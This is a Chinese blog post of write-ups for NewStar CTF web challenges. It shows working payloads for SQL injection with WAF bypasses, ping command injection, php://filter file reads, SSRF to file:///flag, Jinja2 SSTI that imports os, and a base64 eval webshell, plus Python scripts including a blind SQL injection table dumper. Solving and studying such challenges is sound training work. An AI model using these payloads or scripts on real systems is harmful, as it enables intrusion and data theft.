跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像AI 生图工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
PHPNuct算法

NewStar CTF Web 题目解析与解题思路

Week 1 Multi-Headache3 **难度:简单** 使用 dirsearch 扫描目录: !image 找到 /robots.txt,访问: !image 访问 hidden.php: !image 翻译提示,按 F12 打开开发者工具捕获流量包,发现 flag: !image Strange_Login **难度:简单** 经典登录框,万能密码 admin' or 1=1 #: !…

山野诗人发布于 2026/4/6更新于 2026/7/2667K 浏览
NewStar CTF Web 题目解析与解题思路

Week 1

Multi-Headache3

难度:简单

使用 dirsearch 扫描目录:

image

找到 /robots.txt,访问:

image

访问 hidden.php:

image

翻译提示,按 F12 打开开发者工具捕获流量包,发现 flag:

image

flag{eb4580e7-21e4-4446-9dba-4fb51d9cf051}

Strange_Login

难度:简单

经典登录框,万能密码 admin' or 1=1 #:

image

flag{26cbccab-3a76-46f9-a770-7e8cb0b10d96}

宇宙的中心是 php

难度:简单

访问题目页面,习惯性使用 F12 或 Ctrl+U 无法查看源码,最后使用 Ctrl+Shift+I 打开开发者工具:

image

访问 s3kret.php:

image

<?php highlight_file(__FILE__);include"flag.php";if(isset($_POST['newstar2025'])){$answer=$_POST['newstar2025'];if(intval($answer)!=47&&intval($answer,0)==47){echo$flag;}else{echo"你还未参透奥秘";}}

审计后发现,要求 POST 输入 newstar2025 的值满足:

  • intval($answer) (默认按十进制)不是 47。
  • intval($answer, 0) (自动判断进制)等于 47。

输入 0x2F 即可满足:

image

flag{c0c8fc92-fd89-42e6-aa83-2b14c3e22bcf}

黑客小 W 的故事(1)

难度:中等

第一个挑战:抓包发现 count 字段为 1,修改为 1000000:

image

需要截取包然后修改发送,才能正常跳转。

第二关:看不懂,看提示,原来是需要 GET 传参 shipin,参数值为 mogubaozi:

image

这里 POST 要传入前文提到过的 guding:

image

这里需要使用 DELETE 方法传入 chongzi,截取改包:

image

成功:

image

访问 /Level2_END,第三关:与 HTTP 协议有关。根据提示,修改 UA 头,还需要升级版本。

访问 /Level4_Sly:

image

flag{9fef7934-2c71-4225-813d-849df714c8fa}

我真得控制你了

难度:中等

审计 JS 代码,为了绕过 JS 限制,在浏览器 Console 里运行:

document.getElementById('nextLevelForm').submit();

这会绕过所有按钮/遮罩限制,直接提交表单。

成功绕过,来到下一关,这一关提示弱口令,尝试了几个弱口令成功登入:admin/111111。

<?phperror_reporting(0);functiongenerate_dynamic_flag($secret){returngetenv("ICQ_FLAG")?:'default_flag';}if(isset($_GET['newstar'])){$input=$_GET['newstar'];if(is_array($input)){die("恭喜掌握新姿势");}if(preg_match('/[^\d*\/~()\s]/',$input)){die("老套路了,行不行啊");}if(preg_match('/^[\d\s]+$/',$input)){die("请输入有效的表达式");}$test=0;try{ @eval("\$test = $input;");}catch(Error$e){die("表达式错误");}if($test==2025){$flag=generate_dynamic_flag($flag_secret);echo"<div>拿下 flag!</div>";echo"<div><div>FLAG: {$flag}</div></div>";}else{echo"<div>大哥哥泥把数字算错了:$test ≠ 2025</div>";}}else{?><?php }?>

审计 PHP 代码:

  • 允许的字符只有:0-9, *, /, ~, (, ), 空白。
  • 禁止纯数字/空白,所以必须包含至少一个运算符。
  • 最终执行:@eval("$test = $input;"),判断 $test == 2025。

因为 45 * 45 = 2025,且 * 属于允许字符,所以 payload 为:newstar=45*45。

GET 传参即可:

image

flag{c6582a80-afdd-4ef9-8088-a15455bc30cf}

别笑,你也过不了第二关

难度:简单

前端记分逻辑中,可以在控制台直接作弊:

score = 1000000;// 直接满足目标分数
endLevel();// 触发关卡结束逻辑

image

image

flag{8a6f2ab9-9b7e-4274-90bf-efbe94277b14}

Week 2

DD 加速器

难度:简单

ping 的命令执行,使用 ; 拼接:

127.0.0.1; ls
127.0.0.1; cat /flag

查看环境变量:

127.0.0.1; env
flag{9cacf6f4-5cc9-4cef-99a8-97c51b2953be}

搞点哦润吉吃吃橘

难度:简单

开局一个登录框,尝试弱口令无果,Ctrl+U 查看源代码,发现提示:

<!-- 唔...这个密码有点难记,但是我已经记好了 Doro/Doro_nJlPVs_@123 -->

根据提示,抓包查看后端逻辑:

image

根据验证流程写 exp:

#!/usr/bin/env python3
# coding: utf-8
import requests
import re
import time
import sys

BASE = "https://eci-2ze6zyo0m8laq9swg77e.cloudeci1.ichunqiu.com:5000"
LOGIN_PATH = "/login"
START_PATH = "/start_challenge"
VERIFY_PATH = "/verify_token"
USERNAME = "Doro"
PASSWORD = "Doro_nJlPVs_%40123"

def login(session: requests.Session) -> bool:
    url = BASE + LOGIN_PATH
    session.headers.update({"Origin": BASE,"Referer": BASE + "/login","Content-Type":"application/x-www-form-urlencoded","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7","Sec-Fetch-Site":"same-origin","Sec-Fetch-Mode":"navigate","Sec-Fetch-User":"?1","Sec-Fetch-Dest":"document",})
    data = f"username={USERNAME}&password={PASSWORD}"
    resp = session.post(url, data=data, allow_redirects=False)
    print("[login] status:", resp.status_code)
    print("[login] headers:", resp.headers)
    if "Set-Cookie" in resp.headers and "session=" in resp.headers["Set-Cookie"] and "Expires=Thu, 01 Jan 1970" not in resp.headers["Set-Cookie"]:
        print("[login] 登录成功 ->", resp.headers["Set-Cookie"])
        return True
    print("[login] 登录失败,响应内容:", resp.text[:300])
    return False

def fetch_challenge(session: requests.Session):
    url = BASE + START_PATH
    resp = session.post(url)
    print("[start_challenge] status:", resp.status_code)
    try:
        data = resp.json()
    except Exception as e:
        print("[start_challenge] 无法解析为 JSON:", e)
        print("Response body:", resp.text[:500])
    return None
    return data

def parse_and_compute_token(data: dict):
    # 优先使用单独字段(如果存在)
    if "multiplier" in data or "xor_value" in data:
        try:
            multiplier = int(data.get("multiplier")) if data.get("multiplier") is not None else None
        except Exception:
            multiplier = None
        xor_raw = data.get("xor_value")
        xor_value = None
        if xor_raw is not None:
            try:
                if isinstance(xor_raw, str) and xor_raw.lower().startswith("0x"):
                    xor_value = int(xor_raw, 16)
                else:
                    xor_value = int(xor_raw)
            except:
                xor_value = None
        expr = data.get("expression", "")
        if "time.time" in expr or "int(time.time)" in expr:
            tsource = int(time.time())
        else:
            m = None
            if expr:
                m = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)
            if m:
                tsource = int(m.group(1))
            else:
                tsource = int(time.time())
        if multiplier is None:
            expr = data.get("expression", "")
            m2 = re.search(r'\*\s*(\d+)\s*\)', expr)
            if m2:
                multiplier = int(m2.group(1))
        if multiplier is None or xor_value is None:
            raise ValueError("无法从响应中解析 multiplier 或 xor_value。data: {}".format(data))
        token = (tsource * multiplier) ^ xor_value
        return token, {"tsource": tsource, "multiplier": multiplier, "xor_value": xor_value, "method": "fields_or_expr"}
    # 如果没有单独字段,尝试从 expression 字段解析
    expr = data.get("expression")
    if not expr:
        raise ValueError("响应既没有 'expression',也没有 'multiplier' / 'xor_value' 字段。data: {}".format(data))
    if "time.time" in expr:
        tsource = int(time.time())
    else:
        m_time = re.search(r'\(\s*(\d+)\s*\*\s*\d+\s*\)', expr)
        if m_time:
            tsource = int(m_time.group(1))
        else:
            tsource = int(time.time())
    m_mul = re.search(r'\*\s*(\d+)\s*\)', expr)
    if not m_mul:
        raise ValueError("无法从 expression 提取 multiplier。expr: {}".format(expr))
    multiplier = int(m_mul.group(1))
    m_xor = re.search(r'\^\s*(0x[0-9a-fA-F]+|\d+)', expr)
    if not m_xor:
        raise ValueError("无法从 expression 提取 xor_value。expr: {}".format(expr))
    xor_raw = m_xor.group(1)
    xor_value = int(xor_raw, 16) if xor_raw.lower().startswith("0x") else int(xor_raw)
    token = (tsource * multiplier) ^ xor_value
    return token, {"tsource": tsource, "multiplier": multiplier, "xor_value": xor_value, "method": "expr"}

def submit_token(session: requests.Session, token):
    url = BASE + VERIFY_PATH
    payload = {"token": token}
    resp = session.post(url, json=payload, headers={"Content-Type":"application/json"})
    print("[verify_token] status:", resp.status_code)
    try:
        print("[verify_token] json:", resp.json())
    except Exception:
        print("[verify_token] text:", resp.text[:1000])
    return resp

def main():
    s = requests.Session()
    s.headers.update({"User-Agent":"auto-token-bot/1.0","Accept":"*/*",})
    ok = login(s)
    if not ok:
        print("登录失败,停止。请检查用户名/密码或网络。")
        return
    data = fetch_challenge(s)
    if data is None:
        print("无法获取挑战数据,停止。")
        return
    print("challenge data:", data)
    try:
        token, info = parse_and_compute_token(data)
    except Exception as e:
        print("解析/计算 token 失败:", e)
        return
    print("计算得到 token =", token, "(详情:", info, ")")
    resp = submit_token(s, token)

if __name__ == "__main__":
    main()

image

flag{c596b46c-3c82-4416-9e70-538104015062}

白帽小 K 的故事(1)

难度:困难

文件上传漏洞,前端校验,抓包修改后缀名:

image

image

image

通过 /v1/onload 接口获取上传路径:

image

image

确定上传成功,但是不知道为何无法利用,只能上传执行 phpinfo() 试试:

image

成功解析:

image

复制为 html 文件:

image

flag{741a9681-2e6c-4486-b767-557e907c8863}

小 E 的管理系统

难度:困难

本题考查 SQL 注入过滤与报错注入:

image

防火墙过滤了空格,单引号,幸运的是其为数字型的报错注入:

使用 %0a 绕过空格:

image

发现没有 databases() 函数,猜测可能不是 MySQL 数据库,经过探测,确定是 SQLite:

image

这里是因为查询列数与显示不一样,所以报错,接下来探测列数:

image

确定是 5 列,构造:

-1 UNION select * FROM (SELECT 0) AS A CROSS JOIN (SELECT 2) AS B CROSS JOIN (SELECT 2) AS C CROSS JOIN (SELECT 3) AS D CROSS JOIN (SELECT 4) AS E

替换空格:

-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE

image

查询数据库版本号:

-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asqlite_version())%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE

image

查看表名和字段名:

-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(SELECT%0asql%0afrom%0asqlite_master)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE

image

发现有一个 sys_config 表,表内的字段为:id, config_key, config_value。

使用 select * from user_data。因为这里 , 被 ban 了,* 的话无法输出,只能挨个查询具体的值,最后使用:

-1%0aUNION%0aselect%0a*%0aFROM(SELECT%0a0)%0aAS%0aA%0aCROSS%0aJOIN%0a(SELECT%0a2)%0aAS%0aB%0aCROSS%0aJOIN%0a(select%0aconfig_value%0afrom%0asys_config)%0aAS%0aC%0aCROSS%0aJOIN%0a(SELECT%0a3)%0aAS%0aD%0aCROSS%0aJOIN%0a(SELECT%0a4)%0aAS%0aE

image

flag{1148f076-61cb-457a-818f-d910ef21b142}

真的是签到诶

难度:签到

访问拿到:

<?phphighlight_file(__FILE__);$cipher=$_POST['cipher']??'';functionatbash($text){$result='';foreach(str_split($text)as$char){if(ctype_alpha($char)){$is_upper=ctype_upper($char);$base=$is_upper?ord('A'):ord('a');$offset=ord(strtolower($char))-ord('a');$new_char=chr($base+(25-$offset));$result.=$new_char;}else{$result.=$char;}}return$result;}if($cipher){$cipher=base64_decode($cipher);$encoded=atbash($cipher);$encoded=str_replace(' ','',$encoded);$encoded=str_rot13($encoded); @eval($encoded);exit;}$question="真的是签到吗?";$answer="真的很签到诶!";$res=$question."<br>".$answer."<br>";echo$res.$res.$res.$res.$res;?> 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶! 真的是签到吗? 真的很签到诶!

审计后发现,这是一个 Webshell 解码执行的题目,经过 Base64 → Atbash → 去空格 → ROT13 的代码,服务器最终会执行 (eval) 解码后的内容,所以构造我们的 payload:

cat /flag
cipher (Base64 输入) ↓ base64_decode ↓ Atbash (字母翻转) ↓ 去掉空格 ↓ str_rot13 ↓ eval()
dW91dGlhKCJrbXRcMDQwL2hibWciKTs=

image

flag{8b3bf25f-b724-4f06-9197-ba25bd749249}

Week 3

ez-chain

难度:简单

<?phpheader('Content-Type: text/html; charset=utf-8');functionfilter($file){$waf=array('/',':','php','base64','data','zip','rar','filter','flag');foreach($wafas$waf_word){if(stripos($file,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}functionfilter_output($data){$waf=array('f');foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}while(true){$decoded=base64_decode($data,true);if($decoded===false||$decoded===$data){break;}$data=$decoded;}foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}if(isset($_GET['file'])){$file=$_GET['file'];if(filter($file)!==true){die();}$file=urldecode($file);$data=file_get_contents($file);if(filter_output($data)!==true){die();}echo$data;}highlight_file(__FILE__);?>

审计发现,漏洞点在 file_get_contents,可以使用伪协议进行任意文件读取,但是 WAF 限制了部分伪协议,并且要求读到的文件内容中不能带有 f 字样。

分析程序逻辑,首先读入 file 参数值:

if(isset($_GET['file'])){$file=$_GET['file'];if(filter($file)!==true){die();}$file=urldecode($file);$data=file_get_contents($file);if(filter_output($data)!==true){die();}echo$data;}

首先进入 filter 函数中:

functionfilter($file){$waf=array('/',':','php','base64','data','zip','rar','filter','flag');foreach($wafas$waf_word){if(stripos($file,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}

这里会不分大小写,匹配这些字符,如果匹配,程序退出,绕过这里,只需要 URL 双重编码即可。

接下来经过一次 URL 解码,执行 file_get_contents() 后,进入 filter_output()。

functionfilter_output($data){$waf=array('f');foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}while(true){$decoded=base64_decode($data,true);if($decoded===false||$decoded===$data){break;}$data=$decoded;}foreach($wafas$waf_word){if(stripos($data,$waf_word)!==false){echo"waf:".$waf_word;returnfalse;}}returntrue;}

它会对读取文件的内容进行判断,匹配是否存在 f,也不区分大小写。然后,如果是被 base64 编码过的内容,就会循环解码,直到不能解码为止。

所以我们的思路很明确,利用 URL 双重编码使用 php://filter 伪协议读取文件内容,然后对文件内容先进行 rot13 编码读取 flag。

Payload:

php://filter/string.rot13/resource=/flag
https://eci-2zeblwpcf451usd1p6ji.cloudeci1.ichunqiu.com:80/?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37

image

image

flag{8847b675-528e-4ee8-aab6-ff3a854b53bc}

mygo!!!

难度:简单

访问题目,点了首歌,听起来不错,源码中发现异常:

image

原来是 SSRF,但是限制 http 协议:

image

扫描目录发现有 flag.php,但是直接访问是 403。

image

所以使用 SSRF 访问:

<?php$client_ip=$_SERVER['REMOTE_ADDR'];// 只允许本地访问if($client_ip!=='127.0.0.1'&&$client_ip!=='::1'){header('HTTP/1.1 403 Forbidden');echo"你是外地人,我只要\"本地\"人";exit;}highlight_file(__FILE__);if(isset($_GET['soyorin'])){$url=$_GET['soyorin'];echo"flag 在根目录";// 普通请求$ch=curl_init($url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,false);// 直接输出给浏览器curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);curl_setopt($ch,CURLOPT_BUFFERSIZE,8192);curl_exec($ch);curl_close($ch);exit;}?>

审计一下,发现可以利用前面可转发的 SSRF 来绕过本地访问,剩下的伪协议直接出:

https://eci-2ze30n5xe2nckmepbw6d.cloudeci1.ichunqiu.com:80/index.php?proxy=http://127.0.0.1/flag.php?soyorin=file:///flag

image

flag{a8fe31b5-aad7-4dc1-9bda-3e21daff103f}

小 E 的秘密计划

难度:简单

静态页面,没啥好看的,直接开扫:

image

发现存在系统备份文件,访问下载:

image

可以直接访问 public,进入到登录页面,已经提醒无法爆破,只能另寻他法。

image

进入到 public 目录下,发现存在 .git 文件夹,想到可能是考的 Git 泄露。

git log

查看提交记录:

image

使用 git show --name-only commit 看到删除的提示:

image

git show -p

查看删除的文件内容:

image

好像没有,返回来审计 login.php,发现:

<?phprequire_once'user.php';$userData=getUserData();if($_SERVER['REQUEST_METHOD']==='POST'){$username=$_POST['username']??'';$password=$_POST['password']??'';if($username===$userData['username']&&$password===$userData['password']){header('Location: /secret-xxxxxxxxxxxxxxxxxxx');exit();}else{echo'登录失败,在 git 里找找吧';exit();}}

账号密码都在 user.php 中,所以需要从 Git 中恢复 user.php。

在 .git/logs/HEAD 文件中发现其中隐含一个测试的 branch,会被删除。

image

查看这个提交:

git ls-tree -r --name-only 353b98f7c2fe77a5a426bf73576f5113820c4669

image

使用 git show commit -b 查看文件内容:

image

用户名密码为:admin/f75cc3eb-21e0-4713-9c30-998a8edb13de。

image

进入之后提示 Mac,所以是 .DS_Store 文件泄露,直接在当前路径拼接下载并查看内容:

image

拼接中间的 ffffllllaaaagggg114514,拿到 flag:

image

flag{e08813e1-a595-464c-85c5-67b474f83601}

mirror_gate

难度:中等

文件上传,并且支持上传的类型为:

image

后端进行类型及文件内容的校验,所以只能看允许的文件内有没有可以解析的,先绕过内容检测:

<?phpinfo();?>

image

对 <?php 有过滤,将允许的文件后缀挨个改包然后访问查看响应结果,发现 .webp 可以被解析:

image

image

image

flag{fd8af3ec-7983-4724-ad82-e3f84149346f}

who's sti

难度:中等

from flask import Flask, jsonify, request, render_template_string, render_template
import sys, random
func_List = ["get_close_matches", "dedent", "fmean", "listdir", "search", "randint", "load", "sum", "findall", "mean", "choice"]
need_List = random.sample(func_List, 5)
need_List = dict.fromkeys(need_List, 0)
BoleanFlag = False
RealFlag = __import__("os").environ.get("ICQ_FLAG", "flag{test_flag}")
# 清除 ICQ_FLAG
__import__("os").environ["ICQ_FLAG"] = ""

def trace_calls(frame, event, arg):
    if event == 'call':
        func_name = frame.f_code.co_name
        if func_name in need_List:
            need_List[func_name] = 1
        if all(need_List.values()):
            global BoleanFlag
            BoleanFlag = True
    return trace_calls

app = Flask(__name__)

@app.route('/', methods=["GET", "POST"])
def index():
    submit = request.form.get('submit')
    if submit:
        sys.settrace(trace_calls)
        print(render_template_string(submit))
        sys.settrace(None)
        if BoleanFlag:
            return jsonify({"flag": RealFlag})
    return jsonify({"status": "OK"})
    return render_template_string('''<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta charset="UTF-8">
<title>首页</title>
</head>
<body>
<h1>提交你的代码,让后端看看你的厉害!</h1>
<form action="/" method="post">
<label for="submit">提交一下:</label>
<input type="text" name="submit" required>
<button type="submit">提交</button>
</form>
<div>
<p>尝试调用到这些函数!</p>
{% for func in funcList %}
<p>{{ func }}</p>
{% endfor %}
<div>
<p>你目前已经调用了 {{ called_funcs|length }} 个函数:</p>
<ul>
{% for func in called_funcs %}
<li>{{ func }}</li>
{% endfor %}
</ul>
</div>
</body>
<script>
</script>
</html>
''', funcList=need_List, called_funcs=[func for func, called in need_List.items() if called])

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

使用脚本辅助:

{%set __imp =''.__class__.__mro__[1].__subclasses__()[IDX].__init__.__globals__['__builtins__']['__import__']%}{%set _os = __imp('os')%}{%set _re = __imp('re')%}{%set _difflib = __imp('difflib')%}{%set _textwrap = __imp('textwrap')%}{%set _statistics = __imp('statistics')%}{%set _random = __imp('random')%}{%set _json = __imp('json')%}{%set _io = __imp('io')%}{# 通过 io.StringIO 提供一个可读的 JSON 文件对象,以便触发 json.load 的函数名 "load" #}{%set _f = _io.StringIO('"x"')%}{# 下面依次调用目标函数(尽量覆盖 need_List 里可能的名字) #}{%set a = _difflib.get_close_matches('a',['a'])%}{%set b = _textwrap.dedent(' x')%}{%set c = _statistics.fmean([1,2,3])%}{%set d = _os.listdir('.')%}{%set e = _re.search('a','a')%}{%set f = _random.randint(1,2)%}{%set g = _json.loads('"x"')%}{%set h = _json.load(_f)%}{%set i = _re.findall('.','a')%}{%set j = _statistics.mean([1,2])%}{%set k = _random.choice([1,2])%} Rendered.

image

flag{12c4c60d-6a52-4515-85a0-90052c4e6b2b}

白帽小 K 的故事(2)

难度:中等

盲注,通过字典 fuzz 之后发现,可以使用 () 来绕过对空格的过滤,这里给出自动化的脚本。

Exp:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import time
import sys
import argparse

# ---------------- 配置区(请按需修改) ----------------
URL = "https://eci-2ze67tlhfafcfkym7tjr.cloudeci1.ichunqiu.com:80/search"
HEADERS = {"Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible)"}
PREFIX = "name=amiya'and("
SUFFIX = ")#"
TIMEOUT = 6
RETRIES = 2
SLEEP = 0.03
DEBUG = False
SPACE_BYPASS = False
SPACE_REPLACEMENT = "/**/"

# ----------------- HTTP 与判断函数 -----------------
def send_payload_raw(cond):
    if SPACE_BYPASS:
        cond = cond.replace(" ", SPACE_REPLACEMENT)
    payload = f"{PREFIX}{cond}{SUFFIX}"
    last_exc = None
    for attempt in range(RETRIES + 1):
        try:
            if DEBUG:
                print(f"[DBG] -> {payload}")
            resp = requests.post(URL, data=payload, headers=HEADERS, timeout=TIMEOUT)
            try:
                return resp.json()
            except Exception:
                return resp.text
        except requests.exceptions.RequestException as e:
            last_exc = e
            if DEBUG:
                print(f"[WARN] 请求异常:{e} (尝试 {attempt+1}/{RETRIES+1})")
            time.sleep(1)
    if DEBUG:
        print("[ERROR] 所有重试失败:", last_exc)
    return None

def is_true_response(resp):
    if resp is None:
        return False
    if isinstance(resp, dict):
        status = str(resp.get("status", "")).lower()
        message = str(resp.get("message", "")).lower()
        if status == "ok" and "found" in message:
            return True
        if status == "error" and "not found" in message:
            return False
    txt = str(resp)
    if "Found" in txt:
        return True
    if "Not Found" in txt:
        return False
    if DEBUG:
        print("[DBG] 未能解析响应:", txt[:400].replace("\n", "\\n"))
    return False

def check_condition(cond):
    resp = send_payload_raw(cond)
    return is_true_response(resp)

# ----------------- 爆破函数 -----------------
def binary_search_length(expr, max_upper=16384):
    if DEBUG:
        print(f"[DBG] binary_search_length expr={expr} max_upper={max_upper}")
    low = 0
    high = max_upper
    while low < high:
        mid = (low + high) // 2
        cond = f"length(({expr}))>{mid}"
        if DEBUG:
            print(f"[DBG] length check: {cond}")
        if check_condition(cond):
            low = mid + 1
        else:
            high = mid
        time.sleep(SLEEP)
    length = low
    if DEBUG:
        print(f"[DBG] length -> {length}")
    return length

def extract_string_by_binary(expr, max_len=20000):
    if DEBUG:
        print(f"[DBG] extract_string_by_binary expr={expr} max_len={max_len}")
    result = ""
    for pos in range(1, max_len + 1):
        null_cond = f"ascii(substr(({expr}),{pos},1))=0"
        if check_condition(null_cond):
            if DEBUG:
                print(f"[DBG] pos {pos} is NULL -> stop")
            break
        low = 32
        high = 126
        while low <= high:
            mid = (low + high) // 2
            cond = f"ascii(substr(({expr}),{pos},1))>{mid}"
            if check_condition(cond):
                low = mid + 1
            else:
                high = mid - 1
            time.sleep(SLEEP)
        ascii_val = low
        if ascii_val < 32 or ascii_val > 126:
            if DEBUG:
                print(f"[DBG] pos {pos} ascii out of range: {ascii_val} -> stop")
            break
        ch = chr(ascii_val)
        result += ch
        sys.stdout.write(f"\r[+] pos={pos} -> '{ch}' current_len={len(result)}")
        sys.stdout.flush()
    print(f"\n[+] 提取完成:len={len(result)}")
    return result

def extract_group_concat_list(expr, max_len_guess=16384, sep=':'):
    length = binary_search_length(expr, max_len_guess)
    if length == 0:
        return []
    s = extract_string_by_binary(expr, length)
    items = [x for x in s.split(sep) if x != '']
    return items

def list_all_databases():
    expr = "select(group_concat(concat(schema_name,0x3a)))from(information_schema.schemata)"
    return extract_group_concat_list(expr, max_len_guess=4096, sep=':')

def list_tables_for_schema(schema_name):
    expr = f"select(group_concat(concat(table_name,0x3a)))from(information_schema.tables)where(table_schema)='{schema_name}'"
    return extract_group_concat_list(expr, max_len_guess=8192, sep=':')

def list_columns_for_table(schema_name, table_name):
    expr = f"select(group_concat(concat(column_name,0x3a)))from(information_schema.columns)where(table_schema)='{schema_name}'and(table_name)='{table_name}'"
    return extract_group_concat_list(expr, max_len_guess=8192, sep=':')

def dump_table_data(schema_name, table_name, columns=None, max_len_guess=20000):
    if columns is None:
        cols = list_columns_for_table(schema_name, table_name)
        if not cols:
            if DEBUG:
                print(f"[WARN] 无法获取 {schema_name}.{table_name} 的列信息")
            return "", []
    else:
        cols = columns
    concat_parts = []
    for i, c in enumerate(cols):
        concat_parts.append(c)
        if i != len(cols) - 1:
            concat_parts.append("0x3a")
    inner = ",".join(concat_parts)
    expr = f"select(group_concat(concat({inner})))from({schema_name}.{table_name})"
    length = binary_search_length(expr, max_len_guess)
    if length == 0:
        return "", []
    s = extract_string_by_binary(expr, length)
    rows = []
    if s:
        rows = [r for r in s.split(',') if r != '']
    return s, rows

def parse_args():
    p = argparse.ArgumentParser(description="无空格括号风格 布尔盲注 导出 Flag DB 脚本(用于授权靶场/本地 CTF)")
    p.add_argument("--url", help="目标 URL(覆盖脚本内配置)", default=None)
    p.add_argument("--schema", help="目标 schema 名(默认为 Flag)", default="Flag")
    p.add_argument("--only-db", help="只列出数据库,不继续枚举表/列", action="store_true")
    p.add_argument("--debug", help="开启调试", action="store_true")
    return p.parse_args()

def main():
    global URL, DEBUG
    args = parse_args()
    if args.url:
        URL = args.url
    if args.debug:
        DEBUG = True
    print("[*] 注意:请确认你对目标有授权(用户已确认为自己的靶场)")
    print("[*] 目标 URL:", URL)
    print("\n[*] Step 1: 枚举所有 database()(schema)")
    dbs = list_all_databases()
    if not dbs:
        print("[WARN] 未能获取到任何 database,请检查目标或增加 max_len_guess")
        return
    print(f"[+] 共发现 {len(dbs)} 个 schema:")
    for i, db in enumerate(dbs, 1):
        print(f" [{i}] {db}")
    if args.only_db:
        return
    target_schema = args.schema
    print(f"\n[*] Step 2: 以 schema='{target_schema}' 作为目标,枚举表与列并尝试导出数据")
    tables = list_tables_for_schema(target_schema)
    if not tables:
        print(f"[WARN] 在 schema '{target_schema}' 下未发现表或无权限")
        return
    print(f"[+] 在 schema '{target_schema}' 下发现 {len(tables)} 张表:")
    for t in tables:
        print(f"\n[>] 表:{t}")
        cols = list_columns_for_table(target_schema, t)
        if not cols:
            print(" [WARN] 无法枚举列 或 表为空")
            continue
        print(f" [*] 列 ({len(cols)}): {', '.join(cols)}")
        print(" [*] 尝试导出整表数据(可能被截断或受长度限制)...")
        raw, rows = dump_table_data(target_schema, t, columns=cols)
        if not raw:
            print(" [WARN] 导出失败或为空")
            continue
        max_preview = 20
        print(f" [*] 导出总长度:{len(raw)} 字符,预览前 {min(len(rows), max_preview)} 行:")
        for i, r in enumerate(rows[:max_preview], 1):
            print(f" ({i}) {r}")
        if len(rows) > max_preview:
            print(f" ... (共 {len(rows)} 行,已省略)")
        print('\n[+] 导出尝试完成')

if __name__ == "__main__":
    main()

image

flag{b2f00fa9-8d65-45ac-9193-8a852c4910fb}

目录

  1. Week 1
  2. Multi-Headache3
  3. Strange_Login
  4. 宇宙的中心是 php
  5. 黑客小 W 的故事(1)
  6. 我真得控制你了
  7. 别笑,你也过不了第二关
  8. Week 2
  9. DD 加速器
  10. 搞点哦润吉吃吃橘
  11. coding: utf-8
  12. 白帽小 K 的故事(1)
  13. 小 E 的管理系统
  14. 真的是签到诶
  15. Week 3
  16. ez-chain
  17. mygo!!!
  18. 小 E 的秘密计划
  19. mirror_gate
  20. who's sti
  21. 清除 ICQ_FLAG
  22. 白帽小 K 的故事(2)
  23. -- coding: utf-8 --
  24. ---------------- 配置区(请按需修改) ----------------
  25. ----------------- HTTP 与判断函数 -----------------
  26. ----------------- 爆破函数 -----------------
  • 免费图片AI生成工具免费生成了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 免费图片视频在线生成30秒,将你的创意变成现实开始设计
  • X/Twitter免费视频下载器免登陆无限额度免费视频解析下载了解详情
  • 100+免费在线小游戏爽一把
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • 红黑树封装 map 和 set 的实现原理与代码
  • 多源 BFS:从单源到多源的优化思路与实战
  • FPGA 模块助力现代工厂高速数据采集与实时处理
  • 基于 YOLOv8/v11 与 LLM 的 Web 目标检测及人脸表情识别系统
  • Python 金融量化零基础学习路径与实战指南
  • AI 驱动游戏:鸿蒙生态的机会在哪里?
  • Oh My Open Code:把单模型 IDE 变成多模型协作系统
  • Mac Mini M4 本地部署大模型实战:Ollama 与 Llama 环境搭建
